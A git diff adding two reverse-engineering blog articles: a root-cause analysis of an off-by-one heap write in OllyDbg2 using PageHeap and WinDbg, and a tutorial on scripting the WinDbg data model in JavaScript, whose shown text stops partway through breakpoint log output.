diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..7e99e36
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1 @@
+*.pyc
\ No newline at end of file
diff --git a/content/articles/debugging/2013-09-06-pinpointing-heap-related-issues-ollydbg2-off-by-one-story.markdown b/content/articles/debugging/2013-09-06-pinpointing-heap-related-issues-ollydbg2-off-by-one-story.markdown
new file mode 100644
index 0000000..1e16da2
--- /dev/null
+++ b/content/articles/debugging/2013-09-06-pinpointing-heap-related-issues-ollydbg2-off-by-one-story.markdown
@@ -0,0 +1,250 @@
+Title: Pinpointing heap-related issues: OllyDbg2 off-by-one story
+Date: 2013-09-09 09:53
+Tags: reverse-engineering, debugging
+Authors: Axel "0vercl0k" Souchet
+Slug: pinpointing-heap-related-issues-ollydbg2-off-by-one-story
+
+# Introduction
+Yesterday afternoon, I was peacefully coding some stuff you know but I couldn't make my code working.
+As usual, in those type of situations you fire up your debugger in order to understand what is going on under the hood.
+That was a bit weird, to give you a bit of context I was doing some inline x86 assembly, and I've put on purpose an *int3* just
+before the piece of assembly code I thought was buggy. Once my file loaded in [OllyDbg2](http://ollydbg.de/version2.html), I hit *F9* in order to reach quickly the *int3* I've slipped into the inline assembly code. A bit of single-stepping, and **BOOM** I got a nasty crash. It happens sometimes, and that's uncool.
+Then, I relaunch my binary and try to reproduce the bug: same actions and **BOOM** again. OK, this time it's cool, I got a reproducible crash in OllyDbg2.
+
+I like when things like that happens to me (remember the crashes I've found in OllyDbg/IDA here: [PDB Ain't PDD](http://download.tuxfamily.org/overclokblog/PDB%20ain%27t%20PDD/0vercl0k_pdb_aint_pdd.pdf)), it's always a nice exercise for me where I've to:
+
+* pinpoint the bug in the application: usually not trivial when it's a real/big application
+* reverse-engineer the codes involved in the bug in order to figure out why it's happening (sometimes I got the sources, sometimes I don't like this time)
+
+In this post, I will show you how I've manage to pinpoint where the bug was, using [GFlags, PageHeap](http://msdn.microsoft.com/en-us/library/windows/hardware/ff549561(v=vs.85).aspx) and [WinDbg](http://www.windbg.info/). Then, we will reverse-engineer the buggy code in order to understand why the bug is happening, and how we can code a clean trigger.
+
+
+
+[TOC]
+
+# The crash
+The first thing I did was to launch WinDbg to debug OllyDbg2 to debug my binary (yeah.). Once OllyDbg2 has been started up, I reproduced exactly the same steps as previously to trigger the bug and here is what WinDbg was telling me:
+
+```text
+HEAP[ollydbg.exe]: Heap block at 00987AB0 modified at 00987D88 past
+requested size of 2d0
+
+(a60.12ac): Break instruction exception - code 80000003 (first chance)
+eax=00987ab0 ebx=00987d88 ecx=76f30b42 edx=001898a5 esi=00987ab0 edi=000002d0
+eip=76f90574 esp=00189aec ebp=00189aec iopl=0 nv up ei pl nz na po nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
+ntdll!RtlpBreakPointHeap+0x23:
+76f90574 cc int 3
+```
+
+We got a debug message from the heap allocator informing us the process has written outside of its heap buffer. The thing is, this message and the breakpoint are not triggered when the faulty write is done but triggered like *after*, when another call to the allocator has been made. At this moment, the allocator is checking the chunks are OK and if it sees something weird, it outputs a message and breaks. The stack-trace should confirm that:
+
+```text
+0:000> k
+ChildEBP RetAddr
+00189aec 76f757c2 ntdll!RtlpBreakPointHeap+0x23
+00189b04 76f52a8a ntdll!RtlpCheckBusyBlockTail+0x171
+00189b24 76f915cf ntdll!RtlpValidateHeapEntry+0x116
+00189b6c 76f4ac29 ntdll!RtlDebugFreeHeap+0x9a
+00189c60 76ef34a2 ntdll!RtlpFreeHeap+0x5d
+00189c80 75d8537d ntdll!RtlFreeHeap+0x142
+00189cc8 00403cfc KERNELBASE!GlobalFree+0x27
+00189cd4 004cefc0 ollydbg!Memfree+0x3c
+...
+```
+
+As we said just above, the message from the heap allocator has been probably triggered when OllyDbg2 wanted to free a chunk of memory.
+
+Basically, the problem with our issue is the fact we don't know:
+
+* where the heap chunk has been allocated
+* where the faulty write has been made
+
+That's what makes our bug not trivial to debug without the suitable tools. If you want to have more information about debugging heap issues efficiently, you should definitely read the heap chapter in [Advanced Windows Debugging](http://advancedwindowsdebugging.com/) (cheers [`Ivan](https://twitter.com/Ivanlef0u)).
+
+# Pinpointing the heap issue: introducing full PageHeap
+In a nutshell, the full PageHeap option is really powerful to diagnostic heap issues, here are at least two reasons why:
+
+* it will save where each heap chunk has been allocated
+* it will allocate a guard page at the end of our chunk (thus when the faulty write occurs, we might have a write access exception)
+
+To do so, this option changes a bit how the allocator works (it adds more meta-data for each heap chunk, etc.) ; if you want more information, try at home allocating stuff with/without page heap and compare the allocated memory. Here is how looks like a heap chunk when PageHeap full is enabled:
+
+
+To enable it for *ollydbg.exe*, it's trivial. We just launch the *gflags.exe* binary (it's in Windbg's directory) and you tick the features you want to enable.
+
+
+Now, you just have to relaunch your target in WinDbg, reproduce the bug and here is what I get now:
+
+```text
+(f48.1140): Access violation - code c0000005 (first chance)
+First chance exceptions are reported before any exception handling.
+This exception may be expected and handled.
+
+eax=000000b4 ebx=0f919abc ecx=0f00ed30 edx=00000b73 esi=00188694 edi=005d203c
+eip=004ce769 esp=00187d60 ebp=00187d80 iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
+ollydbg!Findfreehardbreakslot+0x21d9:
+004ce769 891481 mov dword ptr [ecx+eax*4],edx ds:002b:0f00f000=????????
+```
+
+Woot, this is very cool, because now we know **exactly** where something is going wrong. Let's get more information about the heap chunk now:
+
+```text
+0:000> !heap -p -a ecx
+ address 0f00ed30 found in
+ _DPH_HEAP_ROOT @ 4f11000
+ in busy allocation
+ ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
+ f6f1b2c: f00ed30 2d0 - f00e000 2000
+
+ 6e858e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
+ 76f90d96 ntdll!RtlDebugAllocateHeap+0x00000030
+ 76f4af0d ntdll!RtlpAllocateHeap+0x000000c4
+ 76ef3cfe ntdll!RtlAllocateHeap+0x0000023a
+ 75d84e55 KERNELBASE!GlobalAlloc+0x0000006e
+ 00403bef ollydbg!Memalloc+0x00000033
+ 004ce5ec ollydbg!Findfreehardbreakslot+0x0000205c
+ 004cf1df ollydbg!Getsourceline+0x0000007f
+ 00479e1b ollydbg!Getactivetab+0x0000241b
+ 0047b341 ollydbg!Setcpu+0x000006e1
+ 004570f4 ollydbg!Checkfordebugevent+0x00003f38
+ 0040fc51 ollydbg!Setstatus+0x00006441
+ 004ef9ef ollydbg!Pluginshowoptions+0x0001214f
+```
+
+With this really handy command we got a lot of relevant information:
+
+* This chunk has a size of 0x2d0 bytes. Thus, starting from 0xf00ed30 to 0xf00efff.
+* The faulty write now makes sense: the application tries to write 4 bytes outside of its heap buffer (off-by-one on an unsigned array I guess).
+* The memory has been allocated in *ollydbg!Memalloc* (called by *ollydbg!Getsourceline*, PDB related ?). We will study that routine later in the post.
+* The faulty write occurs at address 0x4ce769.
+
+# Looking inside OllyDbg2
+We are kind of lucky, the routines involved with this bug are quite simple to reverse-engineer, and Hexrays works just like a charm. Here is the C code (the interesting part at least) of the buggy function:
+
+```c
+//ollydbg!buggy @ 0x004CE424
+signed int buggy(struct_a1 *u)
+{
+ int file_size;
+ unsigned int nbchar;
+ unsigned __int8 *file_content;
+ int nb_lines;
+ int idx;
+
+ // ...
+ file_content = (unsigned __int8 *)Readfile(&u->sourcefile, 0, &file_size);
+ // ...
+ nbchar = 0;
+ nb_lines = 0;
+ while(nbchar < file_size)
+ {
+ // doing stuff to count all the char, and all the lines in the file
+ // ...
+ }
+
+ u->mem1_ov = (unsigned int *)Memalloc(12 * (nb_lines + 1), 3);
+ u->mem2 = Memalloc(8 * (nb_lines + 1), 3);
+ if ( u->mem1_ov && u->mem2 )
+ {
+ nbchar = 0;
+ nb_lines2 = 0;
+ while ( nbchar < file_size && file_content[nbchar] )
+ {
+ u->mem1_ov[3 * nb_lines2] = nbchar;
+ u->mem1_ov[3 * nb_lines2 + 1] = -1;
+ if ( nbchar < file_size )
+ {
+ while ( file_content[nbchar] )
+ {
+ // Consume a line, increment stuff until finding a '\r' or '\n' sequence
+ // ..
+ }
+ }
+ ++nb_lines2;
+ }
+ // BOOM!
+ u->mem1_ov[3 * nb_lines2] = nbchar;
+ // ...
+ }
+}
+```
+
+So, let me explain what this routine does:
+
+* This routine is called by OllyDbg2 when it finds a PDB database for your binary and, more precisely, when in this database it finds the path of your application's source codes. It's useful to have those kind of information when you are debugging, OllyDbg2 is able to tell you at which line of your C code you're currently at.
+
+
+* At line 10: "u->Sourcefile" is a string pointer on the path of your source code (found in the PDB database). The routine is just reading the whole file, giving you its size, and a pointer on the file content now stored memory.
+* From line 12 to 18: we have a loop counting the total number of lines in your source code.
+* At line 20: we have the allocation of our chunk. It allocates 12*(nb_lines + 1) bytes. We saw previously in WinDbg that the size of the chunk was 0x2d0: it should means we have exactly ((0x2d0 / 12) - 1) = 59 lines in our source code:
+
+```text
+D:\TODO\crashes\odb2-OOB-write-heap>wc -l OOB-write-heap-OllyDbg2h-trigger.c
+59 OOB-write-heap-OllyDbg2h-trigger.c
+```
+
+Good.
+
+* From line 24 to 39: we have a loop similar to previous one. It's basically counting lines again and initializing the memory we just allocated with some information.
+* At line 41: we have our bug. Somehow, we can manage to get out of the loop with "nb_lines2 = nb_lines + 1". That means the line 41 will try to write one cell outside of our buffer. In our case, if we have "nb_lines2 = 60" and our heap buffer starting at 0xf00ed30, it means we're going to try to write at (0xf00ed30+60*3*4)=0xf00f000. That's exactly what we saw earlier.
+
+At this point, we have fully explained the bug. If you want to do some dynamic analysis in order to follow important routines, I've made several breakpoints, here they are:
+
+```text
+bp 004CF1BF ".printf \"[Getsourceline] %mu\\n[Getsourceline] struct: 0x%x\", poi(esp + 4), eax ; .if(eax != 0){ .if(poi(eax + 0x218) == 0){ .printf \" field: 0x%x\\n\", poi(eax + 0x218); gc }; } .else { .printf \"\\n\\n\" ; gc; };"
+bp 004CE5DD ".printf \"[buggy] Nbline: 0x%x \\n\", eax ; gc"
+bp 004CE5E7 ".printf \"[buggy] Nbbytes to alloc: 0x%x \\n\", poi(esp) ; gc"
+bp 004CE742 ".printf \"[buggy] NbChar: 0x%x / 0x%x - Idx: 0x%x\\n\", eax, poi(ebp - 1C), poi(ebp - 8) ; gc"
+bp 004CE769 ".printf \"[buggy] mov [0x%x + 0x%x], 0x%x\\n\", ecx, eax * 4, edx"
+```
+
+On my environment, it gives me something like:
+
+```text
+[Getsourceline] f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c
+[Getsourceline] struct: 0x0
+[...]
+[Getsourceline] oob-write-heap-ollydbg2h-trigger.c
+[Getsourceline] struct: 0xaf00238 field: 0x0
+[buggy] Nbline: 0x3b
+[buggy] Nbbytes to alloc: 0x2d0
+[buggy] NbChar: 0x0 / 0xb73 - Idx: 0x0
+[buggy] NbChar: 0x4 / 0xb73 - Idx: 0x1
+[buggy] NbChar: 0x5a / 0xb73 - Idx: 0x2
+[buggy] NbChar: 0xa4 / 0xb73 - Idx: 0x3
+[buggy] NbChar: 0xee / 0xb73 - Idx: 0x4
+[...]
+[buggy] NbChar: 0xb73 / 0xb73 - Idx: 0x3c
+[buggy] mov [0xb031d30 + 0x2d0], 0xb73
+
+eax=000000b4 ebx=12dfed04 ecx=0b031d30 edx=00000b73 esi=00188694 edi=005d203c
+eip=004ce769 esp=00187d60 ebp=00187d80 iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+ollydbg!Findfreehardbreakslot+0x21d9:
+004ce769 891481 mov dword ptr [ecx+eax*4],edx ds:002b:0b032000=????????
+```
+
+# Repro@home
+1. Download the last version of OllyDbg2 [here](http://ollydbg.de/odbg201h.zip), extract the files
+2. Download the three files from [odb2-oob-write-heap](https://github.com/0vercl0k/stuffz/tree/master/odb2-OOB-write-heap), put them in the same directory than *ollydbg.exe* is
+3. Launch WinDbg and open the last version of OllyDbg2
+4. Set your breakpoints (or not), F5 to launch
+5. Open the trigger in OllyDbg2
+6. Press F9 when the binary is fully loaded
+7. **BOOM** :). Note that you may not have a visible crash (remember, that's what made our bug not trivial to debug without full pageheap). Try to poke around with the debugger: restarting the binary or closing OllyDbg2 should be enough to get the message from the heap allocator in your debugger.
+
+
+# Fun fact
+You can even trigger the bug with only the binary and the PDB database. The trick is to tamper the PDB, and more precisely where it keeps the path to your source code. That way, when OllyDbg2 will load the PDB database, it will read that same database like it's the source code of the application. Awesome.
+
+
+# Conclusion
+Those kind of crashes are always an occasion to learn new things. Either it's trivial to debug/repro and you won't waste much of your time, or it's not and you will improve your debugger/reverse-engineer-fu on a **real** example. So do it!
+
+By the way, I doubt the bug is exploitable and I didn't even try to exploit it ; but if you succeed I would be really glad to read your write-up! But if we assume it's exploitable for a second, you would still have to distribute the PDB file, the source file (I guess it would give you more control than with the PDB) and the binary to your victim. So no big deal.
+
+If you are too lazy to debug your crashes, send them to me, I may have a look at it!
+
+Oh, I almost forgot: [we are still looking for motivated contributors to write cool posts](http://doar-e.github.io/about/), spread the world.
\ No newline at end of file
diff --git a/content/articles/debugging/2017-12-01-debugger-data-model.markdown b/content/articles/debugging/2017-12-01-debugger-data-model.markdown
new file mode 100644
index 0000000..4774a11
--- /dev/null
+++ b/content/articles/debugging/2017-12-01-debugger-data-model.markdown
@@ -0,0 +1,1307 @@
+Title: Debugger data model, Javascript & x64 exception handling
+Date: 2017-12-01 06:59
+Tags: debugging, javascript, windbg, exception handling, seh, time-travel debugging, ttd
+Authors: Axel "0vercl0k" Souchet
+Slug: debugger-data-model
+
+# Introduction
+
+The main goal of today's post is to show a bit more of what is now possible with the latest Windbg (currently branded ["WinDbg Preview"](https://blogs.windows.com/buildingapps/2017/08/28/new-windbg-available-preview/) in the Microsoft store) and the time travel debugging tools that Microsoft released a few months ago. When these finally got released, a bit after [cppcon2017](https://cppcon2017.sched.com/) this year, I expected a massive pick-up from the security / reverse-engineering industry with a bunch of posts, tools, scripts, etc. To my surprise, this has not happened yet so I have waited patiently for my vacation to write a little something about it myself. So, here goes!
+
+Obviously, one of the most *noticeable* change in this debugger is the new UI.. but this is not something we will talk about. The *second* big improvement is .. a decent scripting engine! Until recently, I always had to use [pyKD](https://pykd.codeplex.com/) to write automation scripts. This has worked *fairly* well for years, but I’m glad to move away from it and embrace the new extension model provided by Windbg & Javascript (yes, you read this right). One of the biggest pain point I’ve to deal with with pyKD (aside from the installation process!) is that you had to evaluate many commands and then parse their outputs to extract the bits and pieces you needed. Thankfully, the new *debugger data model* solves this (or part of this anyway). The third new change is the integration of the time travel debugging (TTD) features discussed in this presentation: [Time Travel Debugging: Root Causing Bugs in Commercial Scale Software
+](https://cppcon2017.sched.com/event/Bgsj/time-travel-debugging-root-causing-bugs-in-commercial-scale-software).
+
+The goal of this post is to leverage all the nifty stuff we will learn to enumerate x64 [try/except](https://docs.microsoft.com/fr-fr/cpp/cpp/try-except-statement) handlers in Javascript.
+
+So grab yourself a cup of fine coffee and read on :).
+
+
+
+[TOC]
+
+# The debugger data model
+
+## Overview
+
+What is being called the *debugger data model* is a hierarchy of objects (methods, properties, values) that are accessible both directly from the debugger's command window and through a Javascript API. The debugger exposes a bunch of information that it is responsible: thread related information, register values, stack trace information, etc. As an extension writer, you can go and expose your feature through the node of your choosing in the hierarchy. Once it is plugged in into the model, it is available for consumption by another script, or through the debugger's command window.
+
+
+One really interesting property of this exposed information is that it becomes *queryable* via operators that have been highly inspired from C#’s LINQ operators. For those who are unfamiliar with them I would suggest looking at [Basic LINQ query operations](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/linq/basic-linq-query-operations).
+
+## First query
+
+Say you would like to find what modules the current `@rip` is pointing into, you can easily express this through a query using LINQ operators and the data model:
+
+```text
+0:001> dx @$curprocess.Modules.Where(p => @rip >= p.BaseAddress && @rip < (p.BaseAddress+p.Size))
+@$curprocess.Modules.Where(p => @rip >= p.BaseAddress && @rip < (p.BaseAddress+p.Size))
+ [0x8] : C:\WINDOWS\SYSTEM32\ntdll.dll
+```
+
+..and you can even check all the information related to this module by clicking on the DML `[0x8]` link:
+
+```text
+0:001> dx -r1 @$curprocess.Modules.Where(p => @rip >= p.BaseAddress && @rip < (p.BaseAddress+p.Size))[8]
+@$curprocess.Modules.Where(p => @rip >= p.BaseAddress && @rip < (p.BaseAddress+p.Size))[8] : C:\WINDOWS\SYSTEM32\ntdll.dll
+ BaseAddress : 0x7ffc985a0000
+ Name : C:\WINDOWS\SYSTEM32\ntdll.dll
+ Size : 0x1db000
+```
+
+In the previous two samples, there are several interesting points to highlight:
+
+1) `dx` is the operator to access the data model which is not available through the `??` / `?` operators
+
+2) `@$name` is how you access a variable that you have defined during a debugging session. The debugger itself defines several variables right off the bat just to make querying the model easier: `@$curprocess` is equivalent to `host.currentProcess` in Javascript, `@cursession` is `host.currentSession`, and `@$curthread` is `host.currentThread`. You can also define custom variables yourself, for example:
+
+```text
+0:001> dx @$doare = "Diary of a reverse-engineer"
+@$doare = "Diary of a reverse-engineer" : Diary of a reverse-engineer
+ Length : 0x1b
+
+0:001> dx "Hello, " + @$doare
+"Hello, " + @$doare : Hello, Diary of a reverse-engineer
+ Length : 0x22
+
+0:001> ?? @$doare
+Bad register error at '@$doare'
+
+0:001> ? @$doare
+Bad register error at '@$doare'
+```
+
+3) To query all the nodes in the `@$curprocess` hierarchy (if you want to wander through the data model you can just use `dx Debugger` and click through the DML links):
+
+```text
+0:001> dx @$curprocess
+@$curprocess : cmd.exe [Switch To]
+ Name : cmd.exe
+ Id : 0x874
+ Threads
+ Modules
+ Environment
+```
+
+You can also check `Debugger.State.DebuggerVariables` where you can see the definitions for the variables we just mentioned:
+
+```text
+0:001> dx Debugger.State.DebuggerVariables
+Debugger.State.DebuggerVariables
+ cursession : Live user mode:
+ curprocess : cmd.exe [Switch To]
+ curthread : ntdll!DbgUiRemoteBreakin (00007ffc`98675320) [Switch To]
+ scripts
+ scriptContents : [object Object]
+ vars
+ curstack
+ curframe : ntdll!DbgBreakPoint [Switch To]
+
+0:001> dx Debugger.State.DebuggerVariables.vars
+Debugger.State.DebuggerVariables.vars
+ doare : Diary of a reverse-engineer
+```
+
+4) Last but not least, most of (all?) the iterable objects can be queried through LINQ-style operators. If you’ve never used these it can be a bit weird at the beginning but at some point it will click and then it is just goodness.
+
+Here is the list of the currently available operators on iterable objects in the data model:
+
+```text
+Aggregate [Aggregate(AggregateMethod) | Aggregate(InitialSeed, AggregateMethod) | Aggregate(InitialSeed, AggregateMethod, ResultSelectorMethod) - LINQ equivalent method which iterates through the items in the given collection, running the aggregate method on each one and storing the returned result as the current aggregate value. Once the collection has been exhausted, the final accumulated value is returned. An optional result selector method can be specified which transforms the final accumulator value before returning it.]
+All [All(PredicateMethod) - LINQ equivalent method which returns whether all elements in the collection match a given predicate]
+AllNonError [AllNonError(PredicateMethod) - LINQ equivalent method which returns whether all elements in the collection match a given predicate. Errors are ignored if all non-error results match the predicate.]
+Any [Any(PredicateMethod) - LINQ equivalent method which returns whether any element in the collection matches a given predicate]
+Average [Average([ProjectionMethod]) - LINQ equivalent method which finds the average of all values in the enumeration. An optional projection method can be specified that transforms each value before the average is computed.]
+Concat [Concat(InnerCollection) - LINQ equivalent method which returns all elements from both collections, including duplicates.]
+Contains [Contains(Object, [ComparatorMethod]) - LINQ equivalent method which searches for the given element in the sequence using default comparator rules. An optional comparator method can be provided that will be called each time the element is compared against an entry in the sequence.]
+Count [Count() - LINQ equivalent method which returns the number of objects in the collection]
+Distinct [Distinct([ComparatorMethod]) - LINQ equivalent method which returns all distinct objects from the given collection, using default comparison rules. An optional comparator method can be provided to be called each time objects in the collection must be compared.]
+Except [Except(InnerCollection, [ComparatorMethod]) - LINQ equivalent method which returns all distinct objects in the given collection that are NOT found in the inner collection. An optional comparator method can also be specified.]
+First [First([PredicateMethod]) - LINQ equivalent method which returns the first element in the collection or the first which matches an optional predicate]
+FirstNonError [FirstNonError([PredicateMethod]) - LINQ equivalent method which returns the first element in the collection or the first which matches an optional predicate. Any errors encountered are ignored if a valid element is found.]
+Flatten [Flatten([KeyProjectorMethod]) - Method which flattens a tree of collections (or a tree of keys that project to collections via an optional projector method) into a single collection]
+GroupBy [GroupBy(KeyProjectorMethod, [KeyComparatorMethod]) - LINQ equivalent method which groups the collection by unique keys defined via a key projector and optional key comparator]
+Intersect [Intersect(InnerCollection, [ComparatorMethod]) - LINQ equivalent method which returns all distinct objects in the given collection that are also found in the inner collection. An optional comparator method can also be specified.]
+Join [Join(InnerCollection, Outer key selector method, Inner key selector method, Result selector method, [ComparatorMethod]) - LINQ equivalent method which projects a key for each element of the outer collection and each element of the inner collection using the methods provided. If the projected keys from both these elements match, then the result selector method is called with both those values and its output is returned to the user. An optional comparator method can also be specified.]
+Last [Last([PredicateMethod]) - LINQ equivalent method which returns the last element in the collection or the last which matches an optional predicate]
+LastNonError [LastNonError([PredicateMethod]) - LINQ equivalent method which returns the last element in the collection or the last which matches an optional predicate. Any errors are ignored.]
+Max [Max([ProjectionMethod]) - LINQ equivalent method which returns the maximum element using standard comparison rules. An optional projection method can be specified to project the elements of a sequence before comparing them with each other.]
+Min [Min([ProjectionMethod]) - LINQ equivalent method which returns the minimum element using standard comparison rules. An optional projection method can be specified to project the elements of a sequence before comparing them with each other.]
+OrderBy [OrderBy(KeyProjectorMethod, [KeyComparatorMethod]) - LINQ equivalent method which orders the collection via a key projector and optional key comparator in ascending order]
+OrderByDescending [OrderByDescending(KeyProjectorMethod, [KeyComparatorMethod]) - LINQ equivalent method which orders the collection via a key projector and optional key comparator in descending order]
+Reverse [Reverse() - LINQ equivalent method which returns the reverse of the supplied enumeration.]
+Select [Select(ProjectionMethod) - LINQ equivalent method which projects the collection to a new collection via calling a projection method on every element]
+SequenceEqual [SequenceEqual(InnerCollection, [ComparatorMethod]) - LINQ equivalent method which goes through the outer and inner collections and makes sure that they are equal (incl. sequence length). An optional comparator can be specified.]
+Single [Single([PredicateMethod]) - LINQ equivalent method which returns the only element in a list, or, if a predicate was specified, the only element that satisfies the predicate. If there are multiple elements that match the criteria, an error is returned.]
+Skip [Skip(Count) - LINQ equivalent method which skips the specified number of elements in the collection and returns all the rest.]
+SkipWhile [SkipWhile(PredicateMethod) - LINQ equivalent method which runs the predicate for each element and skips it as long as it keeps returning true. Once the predicate fails, the rest of the collection is returned.]
+Sum [Sum([ProjectionMethod]) - LINQ equivalent method which sums all the elements in the collection. Can optionally specify a projector method to transform the elements before summation occurs.]
+Take [Take(Count) - LINQ equivalent method which takes the specified number of elements from the collection.]
+TakeWhile [TakeWhile(PredicateMethod) - LINQ equivalent method which runs the predicate for each element and returns it only if the result is successful. Once the predicate fails, no more elements will be taken.]
+Union [Union(InnerCollection, [ComparatorMethod]) - LINQ equivalent method which returns all distinct objects from the given and inner collection. An optional comparator method can also be specified.]
+Where [Where(FilterMethod) - LINQ equivalent method which filters elements in the collection according to when a filter method returns true for a given element]
+```
+
+Now you may be wondering if the model is available with every possible *configuration* of Windbg? By configuration I mean that you can use the debugger live in user-mode attached to a process, offline looking at a crash-dump of a process, live in kernel-mode, offline looking at a system crash-dump, or off-line looking at a *TTD* trace.
+
+And yes, the model is accessible with all the previous configurations, and this is awesome. This allows you to, overall, write very generic scripts as long as the information you are mining / exposing is not tied to a specific configuration.
+
+# Scripting the model in Javascript
+
+As we described a bit earlier, you can now access programmatically everything that is exposed through the model via Javascript. No more `eval` or string parsing to extract the information you want, just go find the node exposing what you are after. If this node doesn’t exist, add your own to expose the information you want :)
+
+## Javascript integers and Int64
+
+The first thing you need to be aware with Javascript is the fact that integers are encoded in C doubles.. which means your integers are stored in 53 bits. This is definitely a problem as most of the data we deal with are 64 bit integers. In order to address this problem, Windbg exposes a native type to Javascript that is able to store 64 bit integers. The type is called `Int64` and most (all?) information available in the data model is through `Int64` instances. This type exposes various methods to perform arithmetic and binary operations (if you use the native operators, the `Int64` gets converted back to an integer and throws if data is lost during this conversion; cf [Auto-conversion](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/javascript-debugger-scripting)). It takes a bit of time to get used to this, but feels natural pretty quickly. Note that the [Frida](https://www.frida.re/) framework exposes a very similar type to address the same issue, which means it will be even easier for you if you have played with Frida in the past!
+
+You can construct an `Int64` directly using a native Javascript integers (so at most 53 bits long as described above), or you can use the `host.parseInt64` method that takes a string as input. The other very important method you are going to need is `Int64.compareTo` which returns `1` if the instance is bigger than the argument, `0` if equal and `-1` if smaller. The below script shows a summary of the points we touched on:
+
+```javascript
+// Int64.js
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function invokeScript() {
+ let a = host.Int64(1337);
+ let aplusone = a + 1;
+ // 53a
+ logln(aplusone.toString(16));
+ let b = host.parseInt64('0xdeadbeefbaadc0de', 16);
+ let bplusone = b.add(1);
+ // 0xdeadbeefbaadc0df
+ logln(bplusone.toString(16));
+ let bplusonenothrow = b.convertToNumber() + 1;
+ // 16045690984229355000
+ logln(bplusonenothrow);
+ try {
+ let bplusonethrow = b + 1;
+ } catch(e) {
+ // Error: 64 bit value loses precision on conversion to number
+ logln(e);
+ }
+ // 1
+ logln(a.compareTo(1));
+ // 0
+ logln(a.compareTo(1337));
+ // -1
+ logln(a.compareTo(1338));
+}
+```
+
+For more information I would recommend looking at this page [JavaScript Debugger Scripting](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/javascript-debugger-scripting#bitvalues).
+
+## Accessing CPU registers
+
+Registers are accessible in the `host.currentThread.Registers` object. You can access the classical GPRs in the `User` node, but you can also access the xmm/ymm registers via `SIMD` and `Floating Point` nodes. As you may have guessed, the registers are all instances of the `Int64` object we just talked about.
+
+## Reading memory
+
+You can read raw memory via the `host.memory.readMemoryValues` function. It allows you to read memory as an array of items whose size you can specify. You can also use `host.memory.readString` and `host.memory.readWideString` for reading (narrow/wide) strings directly from memory.
+
+```javascript
+//readmemory.js
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function read_u64(addr) {
+ return host.memory.readMemoryValues(addr, 1, 8)[0];
+}
+
+function invokeScript() {
+ let Regs = host.currentThread.Registers.User;
+ let a = read_u64(Regs.rsp);
+ logln(a.toString(16));
+ let WideStr = host.currentProcess.Environment.EnvironmentBlock.ProcessParameters.ImagePathName.Buffer;
+ logln(host.memory.readWideString(WideStr));
+ let WideStrAddress = WideStr.address;
+ logln(host.memory.readWideString(WideStrAddress));
+}
+```
+
+## Executing / evaluating commands
+
+Even though a bunch of data is accessible programmatically via the data model, not everything is exposed today in the model. For example, you cannot access the same amount of information that `kp` shows you with the `Frame` model object. Specifically, the addresses of the frames or the saved return addresses are not currently available in the object unfortunately :-( As a result, being able to evaluate commands can still be important.
+
+The API call `ExecuteCommand` evaluates a command and returns the output of the command as a string:
+
+```javascript
+//eval.js
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function invokeScript() {
+ let Control = host.namespace.Debugger.Utility.Control;
+ for(let Line of Control.ExecuteCommand('kp')) {
+ logln('Line: ' + Line);
+ }
+}
+```
+
+There is at least one pitfall with this function to be aware of: the API executes *until* it completes. So, if you use `ExecuteCommand` to execute let's say `gc` the call will return only when you encounter any sort of break. If you don't encounter any break, the call will never end.
+
+## Setting breakpoints
+
+Settings breakpoints is basically handled by three different APIs: `SetBreakpointAtSourceLocation`, `SetBreakpointAtOffset`, and `SetBreakpointForReadWrite`. The names are pretty self-explanatory so I will not spend much time describing them. Unfortunately, as far as I can tell there is no easy way to bind a breakpoint to a Javascript function that could handle it when it is hit. The objects returned by these APIs have a `Command` field you can use to trigger a *command* when the breakpoint fires, as opposed to a function invocation. In essence, it is pretty much the same than when you do `bp foo "command"`.
+
+Hopefully these APIs will become more powerful and more suited for scripting in future versions with the possibility of invoking a Javascript function when triggered, that would pass an object to the function describing why and where the breakpoint triggered, etc.
+
+Here is a simple example:
+
+```javascript
+//breakpoint.js
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function handle_bp() {
+ let Regs = host.currentThread.Registers.User;
+ let Args = [ Regs.rcx, Regs.rdx, Regs.r8 ];
+ let ArgsS = Args.map(c => c.toString(16));
+ let HeapHandle = ArgsS[0];
+ let Flags = ArgsS[1];
+ let Size = ArgsS[2];
+ logln('RtlAllocateHeap: HeapHandle: ' + HeapHandle + ', Flags: ' + Flags + ', Size: ' + Size);
+}
+
+function invokeScript() {
+ let Control = host.namespace.Debugger.Utility.Control;
+ let Regs = host.currentThread.Registers.User;
+ let CurrentProcess = host.currentProcess;
+ let BreakpointAlreadySet = CurrentProcess.Debug.Breakpoints.Any(
+ c => c.OffsetExpression == 'ntdll!RtlAllocateHeap+0x0'
+ );
+
+ if(BreakpointAlreadySet == false) {
+ let Bp = Control.SetBreakpointAtOffset('RtlAllocateHeap', 0, 'ntdll');
+ Bp.Command = '.echo doare; dx @$scriptContents.handle_bp(); gc';
+ } else {
+ logln('Breakpoint already set.');
+ }
+ logln('Press "g" to run the target.');
+ // let Lines = Control.ExecuteCommand('gc');
+ // for(let Line of Lines) {
+ // logln('Line: ' + Line);
+ // }
+}
+```
+
+This gives:
+
+```text
+0:000>
+Press "g" to run the target.
+0:000> g-
+doare
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x140000, Size: 0x82
+@$scriptContents.handle_bp()
+doare
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x140000, Size: 0x9a
+@$scriptContents.handle_bp()
+doare
